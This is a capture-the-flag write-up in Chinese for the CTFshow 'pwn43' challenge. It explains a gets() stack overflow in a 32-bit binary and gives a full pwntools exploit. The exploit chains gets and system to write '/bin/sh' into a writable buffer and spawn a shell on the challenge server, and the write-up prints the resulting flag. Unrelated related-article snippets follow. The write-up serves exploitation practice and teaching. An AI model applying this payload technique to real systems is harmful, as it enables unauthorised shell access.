CTFshow-PWN-栈溢出(pwn43)

32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法

检查:32 位程序 

ida 分析:

跟进 ctfshow 函数

定义了一个长度为 104 的字符数组 s,gets() 函数被用来从标准输入(键盘)中读取字符串,并存储到数组 s 中,函数返回了这个数组的指针。gets() 函数不会检查输入字符串的长度是否超出了数组的容量,因此会造成栈溢出。

这里找到了 system 函数的地址:0x8048450

但是并未找到 /bin/sh 或者 sh 这种现成的字符串作为 system 函数的参数

那么这种情况我们就需要手动写入一个 /bin/sh 或者 sh

首先我们需要找到可写入的地址在哪儿

使用 gdb 调试目标程序:

gdb pwn

设置断点:

break main

启动被调试的程序:

run

使用 vmmap 命令查看进程的内存映射情况,包括每个内存段的权限信息:

vmmap

rw-p 表示这段内存(0x804b000 到 0x804c000)是可读写的

-p 标志表示内存区域的权限,它由四个字符组成,每个字符分别代表一个权限:

r:可读(Readable)
w:可写(Writable)
x:可执行(Executable)
s:共享(Shared)

1000 和 2000:是内存区域的大小,这段内存的大小是 0x2000,即 8192 字节;

/home/ctfshow/Desktop/pwn/栈溢出/pwn43/pwn:这是内存区域的名称,表示这段内存是由哪个文件映射而来的,这里这段内存来自于名为 pwn 的可执行文件。

在这段地址范围上找到了一个 buf2 变量,我们可以利用这个缓冲区指针来存储输入的数据(/bin/sh),再传递给 system 函数的第一个参数,即可构造 system("/bin/sh")。

buf2 的地址:0x804B060

这里可以使用gets 函数来写入

gets 函数的地址:0x8048420

往 buf2 的地址写入 "/bin/sh" 然后让 system 参数指向这段地址

编写 exp:

from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28227)
offset = (0x6C+4)
system_addr = 0x8048450
buf2_addr = 0x804B060
gets_addr = 0x8048420
payload = b'a'*offset + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

关于这个 payload 的详细解释:

在函数调用中,参数会按照一定的顺序压入栈中,然后函数会依次读取这些参数。

b'a'*offset:这部分是填充数据,长度为 offset,目的是为了覆盖函数的返回地址,并确保我们能够控制程序的执行流程。

p32(gets_addr):这是 gets() 函数的地址,我们将覆盖函数返回地址为 gets() 函数的地址,这样在程序返回时会跳转到 gets() 函数执行,我们就可以利用 gets() 函数从输入中获取数据。 p32(system_addr):这是 system() 函数的地址,我们将覆盖 gets() 函数的返回地址为 system() 函数的地址,这样在 gets() 函数执行完毕后,程序会继续执行 system() 函数。

而后面的两个 p32(buf2_addr) 分别作为 gets 函数与 system 函数的参数

第一个参数是用 gets() 函数读取的数据,也就是我们要写的 buf2 的地址(写入后 buf2 的地址也就是 "/bin/sh" 字符串的地址);
第二个参数也是 "/bin/sh" 字符串的地址,因为 system() 函数会使用这个地址作为命令参数。

可以打通,获取 shell 后直接执行命令 

拿到 flag:ctfshow{c9688abd-3198-4be6-bd31-ed98f1a06ee3}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/571168.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

CU-Mamba:具有通道学习功能的选择性状态空间模型用于图像恢复

CU-Mamba:具有通道学习功能的选择性状态空间模型用于图像恢复 摘要IntroductionRelated WorkMethod CU-Mamba: Selective State Space Models with Channel Learning for Image Restoration 摘要 重建退化图像是图像处理中的关键任务。尽管基于卷积神经网络&#x…

【人工智能基础】人工神经网络

一、人工神经网络的三要素 人工神经元数理模型 MP模型是世界上第一个神经计算模型,为神经网络理论提供了基础 MP模型功能 对树突输入u的线性加权求和对净输入的非线性转换\ 作用函数的功能作用函数的功能 MP神经元模型的作用函数是单位阶跃函数。当x≥0时f(x)…

JTS:Java Topology Suit

接口文档:org.locationtech.jts:jts-core 1.19.0 API。 开发文档:JTS | Documentation。 概述 JTS提供了平面线性几何(planar and linear geometry)与相关的基础几何处理函数(a set of fundamental geometric functions.)。 JTS遵循OGC发布的简单几何规范(Simple Featu…

递归、搜索与回溯算法:综合练习

例题一 解法: 算法思路: ⾸先,我们在第⼀⾏放置第⼀个皇后,然后遍历棋盘的第⼆⾏,在可⾏的位置放置第⼆个皇后,然后再遍历第三⾏,在可⾏的位置放置第三个皇后,以此类推&#xff0c…

nodejs切换

1.卸载nodejs 2.下载nvm工具 3.检查nvm安装情况 nvm -v3.nvm 安装命令 nvm install 10.16.34.查询nodejs版本 nvm list5.切换nodejs版本 nvm use 10.16.3

⑤【Shiro】SpringBoot整合Shiro,实现登录认证

个人简介:Java领域新星创作者;阿里云技术博主、星级博主、专家博主;正在Java学习的路上摸爬滚打,记录学习的过程~ 个人主页:.29.的博客 学习社区:进去逛一逛~ ⑤【Shiro】SpringBoot整合Shiro,实…

精度论文Generative Prompt Model for Weakly Supervised Object Localization

Generative Prompt Model for Weakly Supervised Object Localization 中国科学院大学&&浙江大学CVPR20231.Abstract 当从图像类别标签中学习对象定位模型时,弱监督对象定位(WSOL)仍然具有挑战性, 传统的鉴别训练激活模型的方法忽略了具有代表性但鉴别性较差的对象…

弱光图像增强 | 基于TensorFlowLite+TensorRT加速的MIRNet弱光图像增强实现

项目应用场景 面向弱光图像增强场景,项目基于 MIRNet 弱光图像增强算法,采用 TensorRT TensorFlow-Lite 进行 GPU 算法加速推理。 项目效果 项目细节 > 具体参见项目 README.md (1) 具体参考项目内 jupyter,包括 MIRNet_TFLite.ipynb、M…

云南旅游攻略

丽江景点 Day1 ——丽江古城 丽江古城是一个充满文化和历史的地方,拥有丰富的景点和活动。 推荐游玩: 参观标志性建筑:大水车是丽江古城的标志性建筑,可以在这里拍照留念。 探索中心广场:四方街是古城的中心&#xf…

2024年火爆全网的三款ai智能直播系统,你知道哪一种?

2024年火爆全网的三款ai智能直播系统,你知道哪一种? 如今网络时代,信息运转的速度非常迅猛。 有句话说的好:“若水三千只取一瓢饮,”快速筛选有价值的信息,过滤掉对自己有害的垃圾信息。不要想着把所有钱都赚完&…

Lambda表达式特点

Lambda 表达式是 Java 8 引入的一项重要特性,它们提供了一种更简洁的方式来表达匿名函数。Lambda 表达式允许你将一段代码传递给方法,而不是显式创建一个实现了接口的匿名内部类。Lambda 表达式通常用于实现单个抽象方法的接口(即函数式接口&…

元宇宙虚拟空间的角色状态更新(七)

前言 该文章主要讲元宇宙虚拟空间的角色状态更新,基本核心技术点 角色状态更新 对角色设置一个位置判断(从中心点向下投射一射线确定角色的位置) character.feetRaycast(); feetRaycast的start获取碰撞体的位置,end射线结束的…

MKS 质量MFC流量控制器原理及应用课件PPT

MKS 质量MFC流量控制器原理及应用课件PPT

SpringBoot+Vue开发记录(四)

说明: 本篇文章的主要内容是软件架构以及项目的前端Vue创建 一、软件架构 我道听途说的,听说这个东西很关键很重要什么的。 软件架构(software architecture)是一个系统的草图,是一系列相关的抽象模式,用于指导大型软…

W801学习笔记十四:掌机系统——菜单——尝试打造自己的UI

未来将会有诸多应用,这些应用将通过菜单进行有序组织和管理。因此,我们需要率先打造好菜单。 LCD 驱动通常是直接写屏的,虽然速度较快,但用于界面制作则不太适宜。所以,最好能拥有一套 UI 框架。如前所述,…

4.26日学习记录

[湖湘杯 2021 final]Penetratable SUID提权 SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限 SUID具有一定的限制: 1.仅对于二进制有效; 2.执行者在程序中有可以执行的权限; 3.权限仅在程序…

使用Spring 完成转账业务添加日志功能

(完整的代码在文章附带文件中 , 文章里的代码仅作展示 , 可能有部分不完善 代码地址 :下载:https://javazhang.lanzn.com/i5oLI1vyiile 密码:1234 ) 任务目标 具体实现方法和心得 步骤1. 导入依赖项Spring依赖 , aop依赖,德鲁伊依赖,mybatis依赖 , mysql驱动 , mybatis-sprin…

深度学习框架pytorch:tensor.data和tensor.detach()的区别

本文重点 本文我们区别一下tensor.data和tensor.detach(),我们所讲解的都是pytorch的1.0版本的情况 官方解释 返回一个新的张量,它与当前图形分离。结果永远不需要梯度。返回的张量与原始张量共享相同的存储空间。将看到对其中任何一个的就地修改,并且可能在正确性检查中…

【神经网络结构可视化】PlotNeuralNet的安装、测试及创建自己的神经网络结构可视化图形

文章目录 前提准备1、下载MikTeX2、下载Git bash3、下载PlotNeuralNet 进行测试1、解压PlotNeuralNet-master.zip2、打开Git bash3、 在my_project中查看生成的pdf文件 创建自己的神经网络结构可视化图形 前提准备 1、下载MikTeX 下载链接: MikTeX ( https://mikt…

闲话 ASP.NET Core 数据校验(一):内置数据校验

前言 所谓输入的是垃圾,输出也必然是垃圾,有多少安全问题隐藏在请求的数据中,所以永远不能相信来自用户端的输入。 对请求数据的合法性进行校验,不仅有助于提升用户界面的友好性,而且有助于提高后台程序的安全性和稳…